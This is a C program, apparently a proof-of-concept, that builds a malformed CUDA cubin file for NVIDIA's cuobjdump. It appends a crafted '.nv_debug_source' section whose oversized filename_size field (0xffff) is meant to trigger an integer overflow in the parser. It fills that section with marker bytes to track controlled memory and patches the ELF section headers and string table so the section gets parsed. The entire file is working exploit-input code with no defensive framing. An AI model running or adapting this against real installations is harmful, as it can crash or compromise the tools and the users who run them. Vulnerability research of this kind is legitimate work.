#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void write_u16(uint8_t *buf, size_t off, uint16_t v) {
    buf[off] = v & 0xFF;
    buf[off+1] = (v >> 8) & 0xFF;
}

void write_u32(uint8_t *buf, size_t off, uint32_t v) {
    for (int i = 0; i < 4; i++) {
        buf[off+i] = (v >> (i*8)) & 0xFF;
    }
}

void write_u64(uint8_t *buf, size_t off, uint64_t v) {
    for (int i = 0; i < 8; i++) {
        buf[off+i] = (v >> (i*8)) & 0xFF;
    }
}

int main(int argc, char **argv) {
    if (argc != 3) {
        printf("Usage: %s <input.cubin> <output.cubin>\n", argv[0]);
        return 1;
    }
    
    // Read the working cubin
    FILE *f = fopen(argv[1], "rb");
    if (!f) {
        perror("fopen input");
        return 1;
    }
    
    fseek(f, 0, SEEK_END);
    long size = ftell(f);
    fseek(f, 0, SEEK_SET);
    
    uint8_t *cubin = malloc(size + 0x1000);
    fread(cubin, 1, size, f);
    fclose(f);
    
    // Find where to put our vulnerable section - at the end
    uint64_t new_section_offset = size;
    
    // Create the exact vulnerable .nv_debug_source section
    uint8_t vulnerable_section[0x500] = {0};
    
    // Header
    write_u16(vulnerable_section, 0, 256);      // version
    write_u64(vulnerable_section, 2, 0x500);    // size
    write_u16(vulnerable_section, 10, 2);       // nsources
    
    // Entry 1: Vulnerable - triggers integer overflow
    write_u16(vulnerable_section, 32, 0xffff);  // filename_size = 0xffff
    write_u64(vulnerable_section, 34, 0x80);   // filename_offset
    
    // Entry 2: Normal
    write_u16(vulnerable_section, 80, 0x10);    // filename_size
    write_u64(vulnerable_section, 82, 0x150);   // filename_offset
    
    // Target value
    //for(int i = 0; i < 800; i++) {
      //  vulnerable_section[0x100 + i] = 0x41;  // 0x41414141414141
    //}
    for(int i = 0; i < 100; i++) {
		vulnerable_section[0x40 + i] = 0x40;   // marker at 0x40
   		vulnerable_section[0x80 + i] = 0x80;   // marker at 0x80
    	vulnerable_section[0x100 + i] = 0x41;  // marker at 0x100
    	vulnerable_section[0x150 + i] = 0x50;  // marker at 0x150
	}
    
    // Add some source-like data
    memset(vulnerable_section + 0x150, 0x42, 0x20);
    
    // Append to the cubin
    memcpy(cubin + new_section_offset, vulnerable_section, sizeof(vulnerable_section));
    
    // We need to add a section header for this new section
    // Parse ELF header to find section header table
    uint64_t shoff = *(uint64_t*)(cubin + 0x28);
    uint16_t shnum = *(uint16_t*)(cubin + 0x3C);
    uint16_t shstrndx = *(uint16_t*)(cubin + 0x3E);
    
    // Find section string table
    uint8_t *sh_strtab = cubin + shoff + shstrndx * 0x40;
    uint64_t shstrtab_offset = *(uint64_t*)(sh_strtab + 0x18);
    uint64_t shstrtab_size = *(uint64_t*)(sh_strtab + 0x20);
    
    // Add ".nv_debug_source" to string table
    uint64_t name_offset = shstrtab_size;
    char *new_name = ".nv_debug_source";
    memcpy(cubin + shstrtab_offset + shstrtab_size, new_name, strlen(new_name) + 1);
    write_u64(sh_strtab, 0x20, shstrtab_size + strlen(new_name) + 1);
    
    // Create new section header
    uint8_t new_sh[0x40] = {0};
    write_u32(new_sh, 0, name_offset);        // sh_name
    write_u32(new_sh, 4, 1);                  // sh_type = PROGBITS
    write_u64(new_sh, 24, new_section_offset); // sh_offset
    write_u64(new_sh, 32, sizeof(vulnerable_section)); // sh_size
    write_u64(new_sh, 48, 8);                 // sh_addralign
    
    // Add section header
    uint64_t new_shoff = shoff + shnum * 0x40;
    memcpy(cubin + new_shoff, new_sh, 0x40);
    
    // Update ELF header
    write_u16(cubin, 0x3C, shnum + 1); // e_shnum
    
    // Write modified cubin
    FILE *out = fopen(argv[2], "wb");
    fwrite(cubin, 1, new_section_offset + sizeof(vulnerable_section), out);
    fclose(out);
    
    printf("Created %s with vulnerable .nv_debug_source section\n", argv[2]);
    printf("Run: ./cuobjdump --dump-elf %s\n", argv[2]);
    
    free(cubin);
    return 0;
}